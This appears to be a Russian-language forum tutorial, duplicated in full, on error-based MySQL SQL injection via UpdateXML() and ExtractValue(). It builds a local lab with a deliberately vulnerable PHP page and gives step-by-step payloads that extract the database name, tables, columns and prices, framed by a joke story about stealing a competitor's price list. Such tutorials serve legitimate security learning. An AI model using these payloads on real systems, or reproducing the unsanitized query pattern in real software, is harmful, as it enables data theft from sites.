Всем привет!
Предыдущие статьи по инъекциям:
union-based union-based-bystrye-texniki
Начиная с версии MySQL 5.1, разработчики внедрили функции для работы с XML. Для работы с XML есть две функции:
ExtractValue() - Позволяет выбирать записи средствами XPAth.
UpdateXML() - Возвращает измененный XML-фрагмент.
XPath (XML Path Language) — язык запросов к элементам XML-документа.
Несмотря на то, что в коде учебной веб-страницы мы не будем использовать XML, уязвимость прекрасно будет работать )
Мы просто будем использовать одну из функций XPATH, чтобы генерировать ошибку и получать вывод нужных данных.
Ну что же, запустим mysql, и создадим новую базу:
service mysql start
create database my_db;
use my_db;
Создадим таблицу, и заполним её данными:
CREATE TABLE IF NOT EXISTS products (
ID int(11)UNSIGNED NOT NULL AUTO_INCREMENT,
Name VARCHAR(40) NOT NULL,
Price int(11)UNSIGNED NOT NULL,
PRIMARY KEY (ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO products (Name, Price) VALUES
('Хлеб', 35),
('Йогурт', 27),
('Торт', 500);
Теперь в /var/www/html/ создадим страничку product.php и скопируем туда следующий код:
	
	
		
			
	
	
	
	
		
		
	
После этого заходим по адресу localhost/product.php (не забываем запустить апач), и если нигде не ошиблись, увидите это:
		
		
	
	
		
	
Пощёлкав по ссылкам в таблице, можно увидеть продукт, соответствующий идентификатору в таблице. А вот с ценничками туговато, придётся пошаманить, чтобы их узнать.
		
	
*****************************************
- Алё, шеф! Наши конкуренты скоро запускают сеть продуктовых магазинов. Мне удалось выяснить адрес сайта с товарами. Пока сайт в разработке, и цены на товары скрыты.
		
	
- Найди хакера, и достань прайс. Нам не нужны сюрпризы.
		
	
- У тебя 24 часа, действуй!
		
	
*****************************************
Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml:
1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -
		
	
Отлично, в выводе ошибки присутствует название базы my_db. Здесь мы использовали тип данных char, и в данном примере, я использовал скобки {} для выделения выводимых данных. Можно использовать всё что угодно, кому как больше нравится. Посмотреть таблицы символов ascii можно
Также можно использовать HEX
1' and updatexml(null,concat(0x7B,database(),0x7D),null)-- -
Выведем названия таблиц:
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1),0x7D),null)-- -
		
	
Запрос с увеличением значения limit отдал начальную страницу, значит таблица только одна products
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 1,1),0x7D),null)-- -
		
	
Добываем колонки:
1' and updatexml(null,concat(0x7B,(select column_name from information_schema.columns where table_schema='my_db' and table_name='products' limit 0,1),0x7D),null)-- -
		
	
Поочерёдно, увеличивая limit, достаём ещё name и price. Итого у нас 3 колонки. Если хочется заранее узнать количество колонок, нужно использовать count.
1' and updatexml(null,concat(0x3a,(select count(*) from products)),null)-- -
		
	
По одной записи выводить долго, используем group_concat и выведем всё сразу.
1' and updatexml(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='products'),0x5c),1)-- -
		
	
Осталось узнать что почём:
1' and updatexml(1, concat(0x5c, (select group_concat(name,0x3a,price) from products),0x5c),1)-- -
		
	
Оп-па! Нежданчик однако... Всё не выводится, мы видим всего 20 символов. Придётся хитрить, используем подзапрос substr и выставим отображение пускай 100 строк, начиная с 19-й.
1' and updatexml(0,concat(0x0a,(select substr(group_concat(name,0x3a,price),19,100)from products)),0)-- -
		
	
Все данные вытащены.
- Алё шеф! Хакер быстро справился. Нам не о чем беспокоиться, цены средние по городу.
		
	
Отлично! Возьмёшь свой гонорар у бухгалтера, два дня выходных бонусом.
Как мы видим функция UpdateXML() даёт довольно простую технику, но к сожалению имеет большое ограничение по количеству выводимых символов. А что же функция ExtractValue()? Техника для неё схожая и ограничение тоже.
Всё тащится таким же образом:
Название базы:
1' or ExtractValue(1,concat(0x5c,database()))-- -
Названия колонок:
1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1)))-- -
Количество колонок:
1' and extractvalue(0x0a,concat(0x0a,(select count(*) from products)))-- -
Колонки одним запросом:
1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='my_db' and table_name='products')))-- -
Данные построчно:
1' and extractvalue(0x0a,concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -
На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.
				
			Предыдущие статьи по инъекциям:
union-based union-based-bystrye-texniki
Начиная с версии MySQL 5.1, разработчики внедрили функции для работы с XML. Для работы с XML есть две функции:
ExtractValue() - Позволяет выбирать записи средствами XPAth.
UpdateXML() - Возвращает измененный XML-фрагмент.
XPath (XML Path Language) — язык запросов к элементам XML-документа.
Несмотря на то, что в коде учебной веб-страницы мы не будем использовать XML, уязвимость прекрасно будет работать )
Мы просто будем использовать одну из функций XPATH, чтобы генерировать ошибку и получать вывод нужных данных.
Ну что же, запустим mysql, и создадим новую базу:
service mysql start
create database my_db;
use my_db;
Создадим таблицу, и заполним её данными:
CREATE TABLE IF NOT EXISTS products (
ID int(11)UNSIGNED NOT NULL AUTO_INCREMENT,
Name VARCHAR(40) NOT NULL,
Price int(11)UNSIGNED NOT NULL,
PRIMARY KEY (ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO products (Name, Price) VALUES
('Хлеб', 35),
('Йогурт', 27),
('Торт', 500);
Теперь в /var/www/html/ создадим страничку product.php и скопируем туда следующий код:
		HTML:
	
	<!doctype html>
<html lang="ru">
<head>
  <title>Магазин</title>
</head>
<body>
  <?php
    $host = 'localhost';  // Хост
    $user = 'root';    // Имя пользователя
    $pass = ''; // Установленный пароль пользователю
    $db_name = 'my_db';   // Имя базы данных
    $link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой
    // Ругаемся, если соединение установить не удалось
    if (!$link) {
      echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
      exit;
    }
  if (isset($_GET['id'])) { //проверяем, есть ли переменная
    //смотрим строку из таблицы
    $sql = mysqli_query($link, "SELECT * FROM products WHERE ID = '{$_GET['id']}'");
    if(!$sql){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$result=mysqli_fetch_array($sql);
echo $result['Name'];
  }
  ?>
<table border='1'>
  <tr>
    <td>Идентификатор</td>
    <td>Наименование</td>
    <td>Цена руб.</td>
  </tr>
  <?php
    $sql = mysqli_query($link, 'SELECT ID, Name, Price FROM products');
    while ($result = mysqli_fetch_array($sql)) {
      echo '<tr>' .
           "<td>{$result['ID']}</td>" .          
           "<td><a href='?id={$result[ID]}'>Посмотреть</a></td>" .
           "<td></td>" .
           '</tr>';
    }
  ?>
</table>
</table>
</body>
</html>
	После этого заходим по адресу localhost/product.php (не забываем запустить апач), и если нигде не ошиблись, увидите это:
Пощёлкав по ссылкам в таблице, можно увидеть продукт, соответствующий идентификатору в таблице. А вот с ценничками туговато, придётся пошаманить, чтобы их узнать.
*****************************************
- Алё, шеф! Наши конкуренты скоро запускают сеть продуктовых магазинов. Мне удалось выяснить адрес сайта с товарами. Пока сайт в разработке, и цены на товары скрыты.
- Найди хакера, и достань прайс. Нам не нужны сюрпризы.
- У тебя 24 часа, действуй!
*****************************************
Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml:
1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -
Отлично, в выводе ошибки присутствует название базы my_db. Здесь мы использовали тип данных char, и в данном примере, я использовал скобки {} для выделения выводимых данных. Можно использовать всё что угодно, кому как больше нравится. Посмотреть таблицы символов ascii можно
	Ссылка скрыта от гостей
Также можно использовать HEX
1' and updatexml(null,concat(0x7B,database(),0x7D),null)-- -
Выведем названия таблиц:
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1),0x7D),null)-- -
Запрос с увеличением значения limit отдал начальную страницу, значит таблица только одна products
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 1,1),0x7D),null)-- -
Добываем колонки:
1' and updatexml(null,concat(0x7B,(select column_name from information_schema.columns where table_schema='my_db' and table_name='products' limit 0,1),0x7D),null)-- -
Поочерёдно, увеличивая limit, достаём ещё name и price. Итого у нас 3 колонки. Если хочется заранее узнать количество колонок, нужно использовать count.
1' and updatexml(null,concat(0x3a,(select count(*) from products)),null)-- -
По одной записи выводить долго, используем group_concat и выведем всё сразу.
1' and updatexml(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='products'),0x5c),1)-- -
Осталось узнать что почём:
1' and updatexml(1, concat(0x5c, (select group_concat(name,0x3a,price) from products),0x5c),1)-- -
Оп-па! Нежданчик однако... Всё не выводится, мы видим всего 20 символов. Придётся хитрить, используем подзапрос substr и выставим отображение пускай 100 строк, начиная с 19-й.
1' and updatexml(0,concat(0x0a,(select substr(group_concat(name,0x3a,price),19,100)from products)),0)-- -
Все данные вытащены.
- Алё шеф! Хакер быстро справился. Нам не о чем беспокоиться, цены средние по городу.
Отлично! Возьмёшь свой гонорар у бухгалтера, два дня выходных бонусом.
Как мы видим функция UpdateXML() даёт довольно простую технику, но к сожалению имеет большое ограничение по количеству выводимых символов. А что же функция ExtractValue()? Техника для неё схожая и ограничение тоже.
Всё тащится таким же образом:
Название базы:
1' or ExtractValue(1,concat(0x5c,database()))-- -
Названия колонок:
1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1)))-- -
Количество колонок:
1' and extractvalue(0x0a,concat(0x0a,(select count(*) from products)))-- -
Колонки одним запросом:
1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='my_db' and table_name='products')))-- -
Данные построчно:
1' and extractvalue(0x0a,concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -
На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.